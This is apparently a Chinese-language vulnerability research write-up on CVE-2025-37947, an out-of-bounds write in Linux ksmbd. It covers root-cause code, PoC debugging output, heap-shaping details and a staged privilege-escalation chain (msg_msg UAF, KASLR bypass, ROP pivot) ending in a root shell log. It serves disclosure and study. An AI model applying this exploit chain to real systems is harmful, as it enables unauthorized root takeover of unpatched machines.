ksmbd - 利用CVE-2025-37947漏洞(3/3)
引言
这是我们关于ksmbd的最后一篇文章。关于之前的文章,请参阅第一部分和第二部分。
考虑到所有已发现的漏洞和我们报告的概念验证利用,我们必须选择一些合适的候选漏洞进行利用。特别是,我们希望使用最近报告的漏洞,以避免降级我们的工作环境。
我们首先尝试了几个use-after-free(UAF)漏洞,因为这类漏洞几乎总是可被利用,正如许多文章所证明的那样。然而,许多漏洞需要竞争条件和特定的时机,因此我们推迟了这些漏洞,转而选择具有更可靠或确定性利用路径的漏洞。
还有一些漏洞依赖于用户控制之外的因素,或者具有特殊行为。让我们首先看看CVE-2025-22041,我们最初打算使用它。由于缺少锁定,可以两次调用ksmbd_free_user函数:
1
2
3
4
5
6
7
|
void ksmbd_free_user(struct ksmbd_user *user)
{
ksmbd_ipc_logout_request(user->name, user->flags);
kfree(user->name);
kfree(user->passkey);
kfree(user);
}
|
在这种双重释放场景中,攻击者必须用另一个对象替换user->name,以便第二次释放它。问题是kmalloc缓存大小取决于用户名的长度。如果用户名略长于8个字符,它将适合kmalloc-16而不是kmalloc-8,这意味着需要不同的利用技术,具体取决于用户名长度。
因此,我们决定研究CVE-2025-37947,它从一开始就显得很有希望。我们考虑通过将漏洞与信息泄露结合来进行远程利用,但我们缺乏诸如写入泄露之类的原语,并且我们不知道在过去一年中是否有此类漏洞被报告。即便如此,如前所述,我们限制自己使用我们发现的漏洞。
这个漏洞本身似乎提供了我们绕过常见缓解措施(例如KASLR、SMAP、SMEP以及几个Ubuntu内核强化选项,如HARDENED_USERCOPY)所需的能力。因此,由于额外的时间限制,我们最终只关注本地权限提升。请注意,在撰写本文时,我们在Ubuntu 22.04.5 LTS上实现了利用,使用的是仍然易受攻击的最新内核(5.15.0-153-generic)。
根本原因分析
该发现需要在vfs objects配置选项中启用stream_xattr模块,并且可以由经过身份验证的用户触发。此外,必须在默认配置中添加一个可写共享,如下所示:
1
2
3
4
|
[share]
path = /share
vfs objects = streams_xattr
writeable = yes
|
以下是易受攻击的代码,删除了一些不影响漏洞逻辑的不相关行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
// https://elixir.bootlin.com/linux/v5.15/source/fs/ksmbd/vfs.c#L411
static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,
size_t count)
{
char *stream_buf = NULL, *wbuf;
struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);
size_t size;
ssize_t v_len;
int err = 0;
ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",
*pos, count);
size = *pos + count;
if (size > XATTR_SIZE_MAX) { // [1]
size = XATTR_SIZE_MAX;
count = (*pos + count) - XATTR_SIZE_MAX;
}
wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2]
stream_buf = wbuf;
memcpy(&stream_buf[*pos], buf, count); // [3]
// .. 省略
if (err < 0)
goto out;
fp->filp->f_pos = *pos;
err = 0;
out:
kvfree(stream_buf);
return err;
}
|
扩展属性值的最大大小XATTR_SIZE_MAX为65536,或16页(0x10000),假设常见的页面大小为0x1000字节。我们可以在[1]处看到,如果count和position超过此值,则大小被截断为0x10000,并在[2]处分配。
因此,我们可以将位置设置为0x10000,计数设置为0x8,memcpy(stream_buf[0x10000], buf, 8)将在[3]处越界写入8字节的用户控制数据。请注意,我们可以移动位置以控制偏移量,例如使用值0x10010在偏移量16处写入。但是,我们复制的字节数(计数)也会增加16,因此我们最终复制24字节,可能会破坏更多数据。根据我们可以实现的对齐方式,这通常是不希望的。
概念验证
为了证明该漏洞是可触发的,我们编写了一个最小概念验证(PoC)。此PoC仅触发漏洞 - 它不会提升权限。此外,在将/proc/pagetypeinfo的权限更改为可由非特权用户读取后,它可以用于确认缓冲区分配顺序。PoC代码使用smbuser/smbpassword凭据通过libsmb2库进行身份验证,并使用与连接相同的套接字发送具有用户控制属性的vfs流数据。
具体来说,我们将file_offset设置为0x0000010018ULL,将length_wr设置为8,写入32字节,填充0xaa和0xbb模式以便于识别。
如果我们运行PoC,打印分配地址并在memcpy处中断,我们可以确认OOB写入:
1
2
3
4
5
6
7
8
9
10
|
(gdb) c
Continuing.
ksmbd_vfs_stream_write+310 allocated: ffff8881056b0000
Thread 2 hit Breakpoint 2, 0xffffffffc06f4b39 in memcpy (size=32,
q=0xffff8881031b68fc, p=0xffff8881056c0018)
at /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h:191
warning: 191 /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h: No such file or directory
(gdb) x/2xg $rsi
0xffff8881031b68fc: 0xaaaaaaaaaaaaaaaa 0xbbbbbbbbbbbbbbbb
|
用于kvzalloc的堆塑造
在Linux上,物理内存以页(通常为4KB)为单位进行管理,页分配器(伙伴分配器)将它们组织成称为阶数的2的幂块。阶数0是单个页,阶数1是2个连续页,阶数2是4个页,依此类推。这使内核能够高效地分配和合并连续页块。
有了这个,我们必须看看内存是如何通过kvzalloc分配的。该函数只是kvmalloc的一个包装器,返回一个归零的页:
1
2
3
4
5
|
// https://elixir.bootlin.com/linux/v5.15/source/include/linux/mm.h#L811
static inline void *kvzalloc(size_t size, gfp_t flags)
{
return kvmalloc(size, flags | __GFP_ZERO);
}
|
然后该函数调用kvmalloc_node,尝试使用kmalloc分配物理连续内存,如果失败,则回退到vmalloc以获得仅需要虚拟连续的内存。我们没有尝试创建内存压力来利用后一种分配机制,因此我们可以假设该函数的行为类似于kmalloc()。
由于Ubuntu默认使用SLUB分配器进行kmalloc,它接着调用__kmalloc_node。该函数通过kmalloc_caches使用具有阶数1页的分配,因为KMALLOC_MAX_CACHE_SIZE的值为8192。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4424
void *__kmalloc_node(size_t size, gfp_t flags, int node)
{
struct kmem_cache *s;
void *ret;
if (unlikely(size > KMALLOC_MAX_CACHE_SIZE)) {
ret = kmalloc_large_node(size, flags, node);
trace_kmalloc_node(_RET_IP_, ret,
size, PAGE_SIZE << get_order(size),
flags, node);
return ret;
}
s = kmalloc_slab(size, flags);
if (unlikely(ZERO_OR_NULL_PTR(s)))
return s;
ret = slab_alloc_node(s, flags, node, _RET_IP_, size);
trace_kmalloc_node(_RET_IP_, ret, size, s->size, flags, node);
ret = kasan_kmalloc(s, ret, size, flags);
return ret;
}
|
对于任何更大的分配,Linux内核直接使用页分配器获取页:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4407
#ifdef CONFIG_NUMA
static void *kmalloc_large_node(size_t size, gfp_t flags, int node)
{
struct page *page;
void *ptr = NULL;
unsigned int order = get_order(size);
flags |= __GFP_COMP;
page = alloc_pages_node(node, flags, order);
if (page) {
ptr = page_address(page);
mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B,
PAGE_SIZE << order);
}
return kmalloc_large_node_hook(ptr, size, flags);
}
|
因此,由于我们需要请求16页,我们正在处理伙伴分配器页塑造,并且我们的目标是溢出跟随阶数4分配的内存。问题是我们可以在那里放置什么以及如何确保正确定位。
一个关键约束是memcpy()在分配后立即发生。这排除了分配后的喷洒。因此,我们必须提前在内存中创建一个16页的连续空闲空间,以便kvzalloc()将stream_buf放置在该区域中。这样,越界写入会命中一个受控且有用的目标对象。
内核内存中可以分配各种对象,但最常见的对象使用kmalloc缓存。因此我们调查了哪些可能是一个很好的选择,其中阶数值表示用于保存这些对象的slab的分配页阶数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$ for i in /sys/kernel/slab/*/order; do \
sudo cat $i | tr -d '\n'; echo " -> $i"; \
done | sort -rn | head
3 -> /sys/kernel/slab/UDPv6/order
3 -> /sys/kernel/slab/UDPLITEv6/order
3 -> /sys/kernel/slab/TCPv6/order
3 -> /sys/kernel/slab/TCP/order
3 -> /sys/kernel/slab/task_struct/order
3 -> /sys/kernel/slab/sighand_cache/order
3 -> /sys/kernel/slab/sgpool-64/order
3 -> /sys/kernel/slab/sgpool-128/order
3 -> /sys/kernel/slab/request_queue/order
3 -> /sys/kernel/slab/net_namespace/order
|
我们看到页分配器最多使用阶数3页。基于此,我们选择了kmalloc-cg-4k(输出中未显示),我们可以轻松地进行喷洒。它在实现各种利用原语(如任意读取、写入,甚至在某些情况下的UAF)方面非常通用。
在尝试了阶数3页分配并检查/proc/pagetypeinfo后,我们确认每个区域、每个阶数有5个空闲列表。在我们的例子中,使用了普通区域,而GFP_KERNEL偏好不可移动的迁移类型,因此我们可以忽略其他类型:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
$ sudo cat /proc/pagetypeinfo
Page block order: 9
Pages per block: 512
Free pages count per migrate type at order 0 1 2 3 4 5 6 7 8 9 10
Node 0, zone DMA, type Unmovable 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type Movable 0 0 0 0 0 0 0 0 0 1 3
Node 0, zone DMA, type Reclaimable 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type Unmovable 0 0 0 0 0 0 0 1 0 1 0
Node 0, zone DMA32, type Movable 2 2 1 1 0 3 3 3 2 3 730
Node 0, zone DMA32, type Reclaimable 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone Normal, type Unmovable 69 30 7 9 3 1 30 63 37 28 36
Node 0, zone Normal, type Movable 37 7 3 5 5 3 5 2 2 4 1022
Node 0, zone Normal, type Reclaimable 3 2 1 2 1 0 0 0 0 1 0
Node 0, zone Normal, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone Normal, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Number of blocks type Unmovable Movable Reclaimable HighAtomic Isolate
Node 0, zone DMA 1 7 0 0 0
Node 0, zone DMA32 2 1526 0 0 0
Node 0, zone Normal 182 2362 16 0 0
|
输出显示阶数3有9个空闲元素,阶数4有3个。通过调用kvmalloc(0x10000, GFP_KERNEL | __GFP_ZERO),我们可以再次检查阶数4元素的数量是否减少。我们可以比较分配之前和之后的状态:
1
2
3
|
Free pages count per migrate type at order 0 1 2 3 4 5 6 7 8 9 10
Node 0, zone Normal, type Unmovable 843 592 178 14 6 7 4 47 45 26 32
Node 0, zone Normal, type Unmovable 843 592 178 14 5 7 4 47 45 26 32
|
当分配器耗尽阶数3和阶数4块时,它开始拆分更高阶的块 - 如阶数5 - 以满足新的请求。这种拆分是递归的,一个阶数5块变成两个阶数4块,如果需要,其中一个会再次拆分。
在我们的场景中,一旦我们耗尽了所有阶数3和阶数4空闲列表条目,分配器会拉取一个阶数5块。一半被拆分以满足较低阶分配 - 我们的目标阶数3对象。另一半保持为空闲阶数4块,稍后可以被kvzalloc用于stream_buf。
尽管这种布局不能保证,但在重复几次之后,它给我们提供了一个相对较高的概率场景,其中stream_buf分配直接位于阶数3对象之后,允许我们通过越界写入破坏其内存。
通过分配1024条消息(msg_msg),消息大小为4096以适合kmalloc-cg-4k,我们获得了以下以stream_buf在0xffff8881117b0000为中心的布局,其中红色条带标记目标页,蓝色代表msg_msg对象:
当我们放大时,我们确认确实可以在其中一条消息之前放置stream_buf:
请注意,通过接收消息和创建空洞,覆盖受害者对象的概率显著提高。然而,在少数情况下 - 在我们的结果中不到10% - 利用失败。
这可能是由于我们覆盖了不同的对象,具体取决于ksmbd或外部进程的状态。不幸的是,这也有可能以一定的概率导致内核恐慌。
利用策略
在能够触发OOB写入之后,本地提权变得几乎直接。我们尝试了几种方法,例如破坏分段msg_msg中的下一个指针,详细描述在此处。然而,使用这种方法没有简单的方法来获取KASLR泄露,并且我们不想依赖诸如Retbleed之类的侧信道攻击。因此,我们必须重新审视我们的策略。
来自近乎规范的文章CVE-2021-22555: Turning \x00\x00 into 10000$的方法是最合适的。因为我们覆盖的是物理页而不是Slab对象,所以我们不必处理由会计引入的跨缓存攻击,并且利用后阶段只需要少量修改。
首先,我们通过bpf脚本确认分配的地址,以确保地址正确对齐。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$ sudo ./bpf-tracer.sh
...
$ grep 4048 out-4096.txt | egrep ".... total" -o | sort | uniq -c
511 0000 total
510 1000 total
511 2000 total
512 3000 total
511 4000 total
511 5000 total
511 6000 total
511 7000 total
513 8000 total
513 9000 total
513 a000 total
513 b000 total
513 c000 total
513 d000 total
513 e000 total
513 f000 total
|
我们选择通过\x05\x00覆盖两个较低有效字节来创建冲突是有些任意的。之后,我们只是重新实现了所有阶段,甚至能够找到类似的ROP小工具用于栈旋转。
我们强烈建议阅读原始文章以使所有步骤清晰,因为它提供了我们不想在此重复的缺失信息。
有了这些,利用流程如下:
- 在内核中分配许多
msg_msg对象。
- 在
ksmbd中触发OOB写入以分配stream_buf,并覆盖主消息的下一个指针,使两个主消息指向同一个辅助消息。
- 通过标记每条消息及其队列索引,并使用
msgrcv(MSG_COPY)扫描队列以查找不匹配的标签,来检测损坏的对。
- 释放真实的辅助消息(来自真实队列)以创建use-after-free - 假队列仍持有指向已释放缓冲区的陈旧指针。
- 通过UNIX套接字在已释放的槽上喷洒用户空间对象,以便我们可以通过受控数据回收已释放的内存,通过制作假的
msg_msg。
- 滥用
m_ts泄露内核内存:制作假的msg_msg,以便copy_msg返回比预期更多的数据,并读取相邻的头部和指针以泄露内核堆地址用于mlist.next和mlist.prev。
- 借助
sk_buff喷洒,重建假的msg_msg,其中包含正确的mlist.next和mlist.prev,以便可以正常取消链接和释放。
- 喷洒并回收该UAF与
struct pipe_buffer对象,以便我们可以泄露anon_pipe_buf_ops并计算内核基址以绕过KASLR。
- 通过第二次喷洒
skbuff制作假的pipe_buf_operations结构,其中释放操作指针指向制作的小工具序列。
- 通过关闭管道触发释放回调 - 这启动了带有栈旋转的ROP链。
最终利用
最终利用可在此处获得,需要多次尝试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[-] Error could not corrupt any primary message.
[ ] Attempt: 3
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: 1a00
[+] real_idx: 1a08
[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff8f17c6e88000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff8f17d3bb5000
[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa3242700
[+] kbase_addr: ffffffffa2000000
[+] leaked kslide: 21000000
[+] STAGE 4: Kernel code execution
[*] Releasing pipe_buffer objects...
[*] Returned to userland
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux target22 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
|
请注意,可靠性仍然可以提高,因为我们没有尝试找到用于损坏的喷洒和释放对象数量的最佳值。我们通过实验得出了这些值,并获得了令人满意的结果。
结论
我们成功演示了在最新Ubuntu 22.04 LTS上使用默认配置并启用ksmbd服务时,ksmbd中漏洞的可利用性。还开发了完整的利用以实现本地root提权。
ksmbd_vfs_stream_write()中的一个缺陷允许当pos超过XATTR_SIZE_MAX时进行越界写入,从而能够破坏带有内核对象的相邻页。本地利用可以可靠地提升权限。远程利用要困难得多:攻击者将受限于ksmbd暴露的代码路径和对象,并且成功的远程攻击还需要信息泄露以击败KASLR并使堆塑形可靠。
参考文献
- Andy Nguyen - CVE-2021-22555: Turning \x00\x00 into 10000$
- Matthew Ruffell - Looking at kmalloc() and the SLUB Memory Allocator
- sam4k - Linternals series (Memory Allocators/Memory Management)
- corCTF 2021 Fire of Salvation Writeup: Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel